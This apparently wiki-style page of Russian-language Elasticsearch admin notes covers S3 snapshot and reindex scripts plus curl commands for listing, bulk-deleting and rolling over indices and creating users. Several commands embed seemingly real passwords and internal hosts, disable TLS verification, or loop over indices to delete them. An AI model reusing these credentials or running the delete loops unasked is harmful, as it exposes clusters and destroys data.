&lt;pre class=&quot;code&quot;&gt;from elasticsearch import Elasticsearch
from datetime import datetime
import argparse

def main(args):
    es = Elasticsearch(hosts=args.es_url,
        http_auth=(args.es_login, args.es_password),
        url_prefix=args.es_url_prefix)

    print(es.snapshot.get_repository())

    # https://www.elastic.co/guide/en/elasticsearch/reference/current/repository-s3.html
    # https://kubedb.com/docs/v2021.09.30/guides/elasticsearch/plugins-backup/s3-repository/
    # https://elasticsearch-py.readthedocs.io/en/v8.2.3/api.html#elasticsearch.client.SnapshotClient.create_repository
    # https://elasticsearch-py.readthedocs.io/en/v8.2.3/api.html#elasticsearch.client.SnapshotClient.get_repository

    repo_definition={
        &amp;quot;type&amp;quot;: &amp;quot;s3&amp;quot;,
        &amp;quot;settings&amp;quot;: {
            &amp;quot;endpoint&amp;quot;: f&amp;quot;{args.s3_endpoint}&amp;quot;,
            &amp;quot;bucket&amp;quot;: f&amp;quot;{args.s3_bucket_name}&amp;quot;,
            &amp;quot;base_path&amp;quot;: f&amp;quot;{args.base_path}&amp;quot;,
            &amp;quot;region&amp;quot;: f&amp;quot;{args.s3_region}&amp;quot;
        }
    }

    es.snapshot.create_repository(repository=&amp;quot;s3-backup&amp;quot;, body=repo_definition)
    es.snapshot.create(repository=&amp;quot;s3-backup&amp;quot;, snapshot=f&amp;#039;snapshot_&amp;#039;+datetime.now().strftime(&amp;quot;%d-%m-%Y_%H-%M-%S&amp;quot;))
    snapshots=es.snapshot.get(snapshot=&amp;#039;*&amp;#039;,repository=&amp;quot;s3-backup&amp;quot;)

    for snapshot in snapshots[&amp;quot;snapshots&amp;quot;]:
        print(snapshot[&amp;quot;snapshot&amp;quot;])

if __name__ == &amp;#039;__main__&amp;#039;:
    parser = argparse.ArgumentParser()
    parser.add_argument(&amp;#039;--es_url&amp;#039;, default=&amp;#039;https://es.domail.local:443&amp;#039;)
    parser.add_argument(&amp;#039;--es_login&amp;#039;, default=&amp;#039;elastic&amp;#039;)
    parser.add_argument(&amp;#039;--es_password&amp;#039;, default=&amp;#039;superpassword&amp;#039;)
    parser.add_argument(&amp;#039;--es_url_prefix&amp;#039;, default=&amp;#039;es&amp;#039;)
    parser.add_argument(&amp;#039;--base_path&amp;#039;, default=&amp;#039;dev&amp;#039;)
    parser.add_argument(&amp;#039;--s3_bucket_name&amp;#039;, default=&amp;#039;es-backup&amp;#039;)
    parser.add_argument(&amp;#039;--s3_endpoint&amp;#039;, default=&amp;#039;https://storage.yandexcloud.net&amp;#039;)
    parser.add_argument(&amp;#039;--s3_region&amp;#039;, default=&amp;#039;ru-central1&amp;#039;)

    args = parser.parse_args()

    main(args)&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Backup to S3&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;backup_to_s3&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-3679&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;миграция_индексов_из_кластера_в_другой&quot;&gt;Миграция индексов из кластера в другой&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Предварительно, в кластере куда мы мигрируем нужно разрешить миграцию из заданного источника. В случае использования оператора ECK это делается так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apiVersion: elasticsearch.k8s.elastic.co/v1
kind: Elasticsearch
spec:
  nodeSets:
  - config:
      reindex.remote.whitelist: SOURCE_ES_IP:9200
      reindex.ssl.verification_mode: none&lt;/pre&gt;

&lt;p&gt;
И дальше - просто воспользоваться модулем &lt;strong&gt;elasticsearch&lt;/strong&gt; для &lt;strong&gt;python&lt;/strong&gt; и скриптом:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;from elasticsearch import Elasticsearch
import argparse


def main(args):
    es_source = Elasticsearch(hosts=args.source_es_url,
        http_auth=(args.source_es_login, args.source_es_password))
    es_dest = Elasticsearch(hosts=args.dest_es_url,
        http_auth=(args.dest_es_login, args.dest_es_password),ca_certs=False,verify_certs=False)

    for index in es_source.indices.get(&amp;#039;*&amp;#039;):
        print(index)
        es_dest.reindex({
            &amp;quot;source&amp;quot;: {
                &amp;quot;remote&amp;quot;: {
                &amp;quot;host&amp;quot;: f&amp;quot;{args.source_es_url}&amp;quot;,
                &amp;quot;username&amp;quot;: f&amp;quot;{args.source_es_login}&amp;quot;,
                &amp;quot;password&amp;quot;: f&amp;quot;{args.source_es_password}&amp;quot;
                },
                &amp;quot;index&amp;quot;: f&amp;quot;{index}&amp;quot;,
                &amp;quot;query&amp;quot;: {
                &amp;quot;match_all&amp;quot;: {}
                }
            },
            &amp;quot;dest&amp;quot;: {
                &amp;quot;index&amp;quot;: f&amp;quot;{index}&amp;quot;
            }
        })

    print(&amp;#039;#################################################################&amp;#039;)
    print(es_dest.indices.get(&amp;#039;*&amp;#039;))

    # for index in es_dest.indices.get(&amp;#039;*&amp;#039;):
    #   print(index)

if __name__ == &amp;#039;__main__&amp;#039;:
    parser = argparse.ArgumentParser()
    parser.add_argument(&amp;#039;--source_es_url&amp;#039;, default=&amp;#039;http://SOURCE_ES:9200&amp;#039;)
    parser.add_argument(&amp;#039;--source_es_login&amp;#039;, default=&amp;#039;elastic&amp;#039;)
    parser.add_argument(&amp;#039;--source_es_password&amp;#039;, default=&amp;#039;password&amp;#039;)
    parser.add_argument(&amp;#039;--dest_es_url&amp;#039;, default=&amp;#039;http://DESTINATION_ES:9200&amp;#039;)
    parser.add_argument(&amp;#039;--dest_es_login&amp;#039;, default=&amp;#039;elastic&amp;#039;)
    parser.add_argument(&amp;#039;--dest_es_password&amp;#039;, default=&amp;#039;password&amp;#039;)

    args = parser.parse_args()

    main(args)
 &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u0438\u0437 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 \u0432 \u0434\u0440\u0443\u0433\u043e\u0439&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f_\u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432_\u0438\u0437_\u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430_\u0432_\u0434\u0440\u0443\u0433\u043e\u0439&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;3680-5983&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;list_indexes&quot;&gt;List indexes&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;curl http://~~~elastic_client_IP~~~/_aliases?pretty=true&lt;/pre&gt;

&lt;p&gt;
Или вот так с &lt;strong&gt;basic auth&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;AUTH=elastic:AG7dGmsZp2NDpRED
curl -k -u $AUTH https://elasticsearch-es-http.default.svc.cluster.local:9200/_aliases?pretty=true&lt;/pre&gt;

&lt;p&gt;
Или вот - с сортировкой по дате и указанием размера:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;AUTH=elastic:Aizahphoh7dai0siesairohdohfe3cai
ES_ENDPOINT=&amp;#039;https://stack-es-http.observability.svc:9200&amp;#039;
curl -k -u $AUTH &amp;quot;${ES_ENDPOINT}/_cat/indices/*?v=true&amp;amp;s=creation.date.string:asc&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;List indexes&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;list_indexes&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;5984-6531&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;get_indices_in_a_cluster&quot;&gt;Get indices in a cluster&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;curl http://~~~elastic_client_IP~~~/_cat/indices?pretty=true&lt;/pre&gt;

&lt;p&gt;
или запрос в &lt;strong&gt;DevTools&lt;/strong&gt; в &lt;strong&gt;Kibana&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;GET /_cat/indices?v&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Get indices in a cluster&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;get_indices_in_a_cluster&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;6532-6708&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;размеры_индексов_в_байтах&quot;&gt;Размеры индексов в байтах&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;while read -r line; do echo $line | awk &amp;#039;{print $10}&amp;#039;; done &amp;lt;&amp;lt;&amp;lt;  `curl -k -u elastic:mSSZ6epX2TQqGE4W https://10.110.63.47:9200/_cat/indices?bytes=b`&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0430\u0437\u043c\u0435\u0440\u044b \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u0432 \u0431\u0430\u0439\u0442\u0430\u0445&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0430\u0437\u043c\u0435\u0440\u044b_\u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432_\u0432_\u0431\u0430\u0439\u0442\u0430\u0445&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;6709-6925&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;задать_количество_реплик_для_всех_индексов&quot;&gt;Задать количество реплик для всех индексов&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;curl -k -u $AUTH -X PUT &amp;quot;${ES_ENDPOINT}/_settings&amp;quot; -H &amp;#039;Content-Type: application/json&amp;#039; -d&amp;#039;
{
  &amp;quot;index&amp;quot;: {
    &amp;quot;number_of_replicas&amp;quot;: 5
  }
}&amp;#039;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0435\u043f\u043b\u0438\u043a \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0442\u044c_\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e_\u0440\u0435\u043f\u043b\u0438\u043a_\u0434\u043b\u044f_\u0432\u0441\u0435\u0445_\u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;6926-7173&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit7&quot; id=&quot;удалить_старые_индексы&quot;&gt;Удалить старые индексы&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;AUTH=elastic:Aizahphoh7dai0siesairohdohfe3cai
ES_ENDPOINT=&amp;#039;https://stack-es-http.observability.svc:9200&amp;#039;
INDICIES=`curl -k -u $AUTH &amp;quot;${ES_ENDPOINT}/_cat/indices/*?s=creation.date.string:asc&amp;quot; 2&amp;gt;/dev/null | head -n 30 | awk &amp;#039;{print $3}&amp;#039;`
for IND in ${INDICIES}; do curl -k -u $AUTH -X DELETE &amp;quot;${ES_ENDPOINT}/${IND}?pretty&amp;quot;; done&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0441\u0442\u0430\u0440\u044b\u0435 \u0438\u043d\u0434\u0435\u043a\u0441\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0434\u0430\u043b\u0438\u0442\u044c_\u0441\u0442\u0430\u0440\u044b\u0435_\u0438\u043d\u0434\u0435\u043a\u0441\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;7174-7573&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit8&quot; id=&quot;удалить_индексы_по_маске&quot;&gt;Удалить индексы по маске&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;AUTH=elastic:ub3kaiSh5iey3Op5wau4haezahghee6N
ES_ENDPOINT=&amp;#039;https://stack-es-http.observability.svc:9200&amp;#039;
INDICIES=`curl -k -u $AUTH &amp;quot;${ES_ENDPOINT}/_cat/indices/*&amp;quot; | grep &amp;#039; jaeger&amp;#039; | awk &amp;#039;{print $3}&amp;#039;`
for IND in ${INDICIES}; do curl -k -u $AUTH -X DELETE &amp;quot;${ES_ENDPOINT}/${IND}?pretty&amp;quot;; done&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0438\u043d\u0434\u0435\u043a\u0441\u044b \u043f\u043e \u043c\u0430\u0441\u043a\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0434\u0430\u043b\u0438\u0442\u044c_\u0438\u043d\u0434\u0435\u043a\u0441\u044b_\u043f\u043e_\u043c\u0430\u0441\u043a\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;7574-7934&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit9&quot; id=&quot;проверка_текущей_политики_ilm_для_datastream&quot;&gt;Проверка текущей политики ILM для datastream&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;curl -u elastic:pohgeif7uJei8ahqu8ohl3eDo0Eimaey -k -X GET &amp;quot;https://stack-es-http:9200/_data_stream/stack-logs-main?pretty&amp;quot;
curl -u elastic:pohgeif7uJei8ahqu8ohl3eDo0Eimaey -k -X GET &amp;quot;https://stack-es-http:9200/_ilm/policy/stack-logs-policy?pretty&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 ILM \u0434\u043b\u044f datastream&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430_\u0442\u0435\u043a\u0443\u0449\u0435\u0439_\u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438_ilm_\u0434\u043b\u044f_datastream&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;7935-8273&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit10&quot; id=&quot;список_индексов_упорядоченный_по_количеству_документов&quot;&gt;Список индексов, упорядоченный по количеству документов&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;curl -u elastic:pohgeif7uJei8ahqu8ohl3eDo0Eimaey -k &amp;quot;https://stack-es-http:9200/_cat/indices?v&amp;amp;s=docs.count:desc&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043f\u0438\u0441\u043e\u043a \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432, \u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043f\u0438\u0441\u043e\u043a_\u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432_\u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u044b\u0439_\u043f\u043e_\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443_\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:10,&amp;quot;range&amp;quot;:&amp;quot;8274-8511&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit11&quot; id=&quot;просмотр_размеров_шард_для_индекса&quot;&gt;Просмотр размеров шард для индекса&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;curl -u elastic:pohgeif7uJei8ahqu8ohl3eDo0Eimaey -k -X GET &amp;quot;https://stack-es-http:9200/_cat/shards/.ds-stack-logs-main-2026.02.27-000001?v&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u0432 \u0448\u0430\u0440\u0434 \u0434\u043b\u044f \u0438\u043d\u0434\u0435\u043a\u0441\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440_\u0440\u0430\u0437\u043c\u0435\u0440\u043e\u0432_\u0448\u0430\u0440\u0434_\u0434\u043b\u044f_\u0438\u043d\u0434\u0435\u043a\u0441\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:11,&amp;quot;range&amp;quot;:&amp;quot;8512-8735&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit12&quot; id=&quot;принудительный_rollover_для_индексадатастрима&quot;&gt;Принудительный rollover для индекса/датастрима&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;curl -u elastic:pohgeif7uJei8ahqu8ohl3eDo0Eimaey -k -X POST &amp;quot;https://stack-es-http:9200/stack-logs-main/_rollover?pretty&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 rollover \u0434\u043b\u044f \u0438\u043d\u0434\u0435\u043a\u0441\u0430\/\u0434\u0430\u0442\u0430\u0441\u0442\u0440\u0438\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439_rollover_\u0434\u043b\u044f_\u0438\u043d\u0434\u0435\u043a\u0441\u0430\u0434\u0430\u0442\u0430\u0441\u0442\u0440\u0438\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:12,&amp;quot;range&amp;quot;:&amp;quot;8736-8954&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit13&quot; id=&quot;работа_с_учетными_записями_пользователей&quot;&gt;Работа с учетными записями пользователей&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0430\u0431\u043e\u0442\u0430_\u0441_\u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438_\u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:13,&amp;quot;range&amp;quot;:&amp;quot;8955-9045&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit14&quot; id=&quot;создать_пользователя&quot;&gt;Создать пользователя&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/security-api-put-user.html&quot; class=&quot;urlextern&quot; title=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/security-api-put-user.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.elastic.co/guide/en/elasticsearch/reference/current/security-api-put-user.html&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -X POST &amp;quot;localhost:9200/_security/user/jacknich?pretty&amp;quot; -H &amp;#039;Content-Type: application/json&amp;#039; -d&amp;#039;
{
  &amp;quot;password&amp;quot; : &amp;quot;j@rV1s&amp;quot;,
  &amp;quot;roles&amp;quot; : [ &amp;quot;admin&amp;quot;, &amp;quot;other_role1&amp;quot; ],
  &amp;quot;full_name&amp;quot; : &amp;quot;Jack Nicholson&amp;quot;,
  &amp;quot;email&amp;quot; : &amp;quot;jacknich@example.com&amp;quot;,
  &amp;quot;metadata&amp;quot; : {
    &amp;quot;intelligence&amp;quot; : 7
  }
}
&amp;#039;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0437\u0434\u0430\u0442\u044c_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:14,&amp;quot;range&amp;quot;:&amp;quot;9046-9487&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit15&quot; id=&quot;получить_информацию_о_пользователе&quot;&gt;Получить информацию о пользователе&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/security-api-get-user.html&quot; class=&quot;urlextern&quot; title=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/security-api-get-user.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.elastic.co/guide/en/elasticsearch/reference/current/security-api-get-user.html&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -X GET &amp;quot;localhost:9200/_security/user/jacknich?pretty&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c_\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e_\u043e_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:8,&amp;quot;secid&amp;quot;:15,&amp;quot;range&amp;quot;:&amp;quot;9488-9730&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit16&quot; id=&quot;logstash_error&quot;&gt;Logstash Error&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;[logstash.outputs.elasticsearch] retrying failed action with response code: 403 ({&amp;quot;type&amp;quot;=&amp;gt;&amp;quot;cluster_block_exception&amp;quot;, &amp;quot;reason&amp;quot;=&amp;gt;&amp;quot;blocked by: [FORBIDDEN/12/index read-only / allow delete (api)];&amp;quot;})&lt;/pre&gt;

&lt;p&gt;
Нужно дать права на запись в индексы &lt;strong&gt;elasticsearch&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;curl -XPUT -H &amp;quot;Content-Type: application/json&amp;quot; http://~~~IP~address~elasticsearch~client~~~:9200/_all/_settings -d &amp;#039;{&amp;quot;index.blocks.read_only_allow_delete&amp;quot;: null}&amp;#039;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Logstash Error&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;logstash_error&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:9,&amp;quot;secid&amp;quot;:16,&amp;quot;range&amp;quot;:&amp;quot;9731-10211&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit17&quot; id=&quot;kibana_error&quot;&gt;Kibana Error&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;{&amp;quot;type&amp;quot;:&amp;quot;log&amp;quot;,&amp;quot;@timestamp&amp;quot;:&amp;quot;2020-05-22T09:20:30Z&amp;quot;,&amp;quot;tags&amp;quot;:[&amp;quot;info&amp;quot;,&amp;quot;savedobjects-service&amp;quot;],&amp;quot;pid&amp;quot;:6,&amp;quot;message&amp;quot;:&amp;quot;Creating index .kibana_1.&amp;quot;}
{&amp;quot;type&amp;quot;:&amp;quot;log&amp;quot;,&amp;quot;@timestamp&amp;quot;:&amp;quot;2020-05-22T09:21:02Z&amp;quot;,&amp;quot;tags&amp;quot;:[&amp;quot;warning&amp;quot;,&amp;quot;savedobjects-service&amp;quot;],&amp;quot;pid&amp;quot;:6,&amp;quot;message&amp;quot;:&amp;quot;Unable to connect to Elasticsearch. Error: [resource_already_exists_exception] index [.kibana_1/N5lCo69cSEiaGPrH9nPgmQ] already exists, with { index_uuid=\&amp;quot;N5lCo69cSEiaGPrH9nPgmQ\&amp;quot; &amp;amp; index=\&amp;quot;.kibana_1\&amp;quot; }&amp;quot;}
{&amp;quot;type&amp;quot;:&amp;quot;log&amp;quot;,&amp;quot;@timestamp&amp;quot;:&amp;quot;2020-05-22T09:21:02Z&amp;quot;,&amp;quot;tags&amp;quot;:[&amp;quot;warning&amp;quot;,&amp;quot;savedobjects-service&amp;quot;],&amp;quot;pid&amp;quot;:6,&amp;quot;message&amp;quot;:&amp;quot;Another Kibana instance appears to be migrating the index. Waiting for that migration to complete. If no other Kibana instance is attempting migrations, you can get past this message by deleting index .kibana_1 and restarting Kibana.&amp;quot;}
{&amp;quot;type&amp;quot;:&amp;quot;log&amp;quot;,&amp;quot;@timestamp&amp;quot;:&amp;quot;2020-05-22T09:21:35Z&amp;quot;,&amp;quot;tags&amp;quot;:[&amp;quot;info&amp;quot;,&amp;quot;savedobjects-service&amp;quot;],&amp;quot;pid&amp;quot;:6,&amp;quot;message&amp;quot;:&amp;quot;Creating index .kibana_task_manager_1.&amp;quot;}
